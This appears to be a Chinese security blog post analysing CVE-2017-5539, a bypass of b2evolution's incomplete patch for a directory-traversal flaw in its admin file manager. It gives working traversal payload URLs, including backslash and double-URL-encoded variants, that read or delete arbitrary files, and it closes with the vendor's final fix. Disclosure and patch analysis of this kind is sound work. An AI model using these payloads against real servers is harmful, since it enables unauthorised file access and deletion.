0x00 前言

b2evolution官方针对CVE-2017-5480漏洞修复存在缺陷,可直接bypass删除、读取任意文件(CVE-2017-5539)。

0x01 漏洞回顾

b2evolution小于或等于存在6.8.3版本存在目录遍历漏洞导致删除、读取任意文件,漏洞详细分析见笔者上一篇博客,初探CVE漏洞之CVE-2017-5480
官方修复并发布了6.8.4-stable新版本
CVE-2017-5480漏洞测试

http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=../../../../../../../../../../../../../../test.txt&fm_sources_root=user_4

返回如下图所示,可见官方已修复之前的漏洞

0x02 Bypass

修复方式并不安全,补丁地址,补丁部分代码如下

+// Prevent directory traversal using '..'
+$re = '/\/?\.\.\/+/';
 foreach( $fm_selected as $l_source_path )
 {
+    if( preg_match( $re, $l_source_path ) )
+    {
+        debug_die( 'Invalid fm_selected parameter value' );
+    }
     $selected_Filelist->add_by_subpath( urldecode($l_source_path), true );
 }

分析出作者采取过滤../的方式修复CVE-2017-5480漏洞。然而这种方式并不安全,可直接Bypass,参考CVE-2017-5539
修改payload如下:

http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/test.txt&fm_sources_root=user_4


等价的payload如下:

http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\test.txt&fm_sources_root=user_4

通过同作者联系沟通,得到作者如下回复

作者企图通过直接过滤../..\的方式修复此漏洞。这样就安全了吗?当然不是(最容易想到的方式是使用绝对路径,但是此处有前缀路径拼接不能成功)
在/inc/files/files.ctrl.php文件中发现文件路径参数经过了urldecode处理,部分代码如下。

$selected_Filelist->add_by_subpath( urldecode($l_source_path), true );

所以即使过滤../..\也存在如下两种方式绕过,..%252f经过urldecode处理后转换为../,..%255c经过urldecode处理后转换为..\,修改payload如下:
1.

http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftest.txt&fm_sources_root=user_4

2.

http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255ctest.txt&fm_sources_root=user_4

结果如下图

0x03 结束语

官方最终采用以下修复,并发布6.8.5-stable版本

$fm_selected = param( 'fm_selected', 'array:filepath', array(), true );

array:filepath参数合规性判断的核心函数如下:

function is_safe_filepath( $filepath )
{
    global $filemanager_allow_dotdot_in_filenames;

    if( ! isset( $filemanager_allow_dotdot_in_filenames ) )
    {    // This config var is required:
        debug_die( 'The var <strong>$filemanager_allow_dotdot_in_filenames</strong> must be defined in config file.' );
    }

    if( empty( $filepath ) )
    {    // Allow empty file path:
        return true;
    }

    if( ! $filemanager_allow_dotdot_in_filenames &&
        strpos( $filepath, '..' ) !== false )
    {    // Don't allow .. in file path because it is disable by config:
        return false;
    }

    do
    {    // Decode file path while it is possible:
        $orig_filepath = $filepath;
        $filepath = urldecode( $filepath );

        if( strpos( $filepath, '../' ) !== false || strpos( $filepath, '..\\' ) !== false )
        {    // Don't allow a traversal directory:
            return false;
        }
    }
    while( $filepath != $orig_filepath );

    return true;
}

?>

源链接

Hacking more

...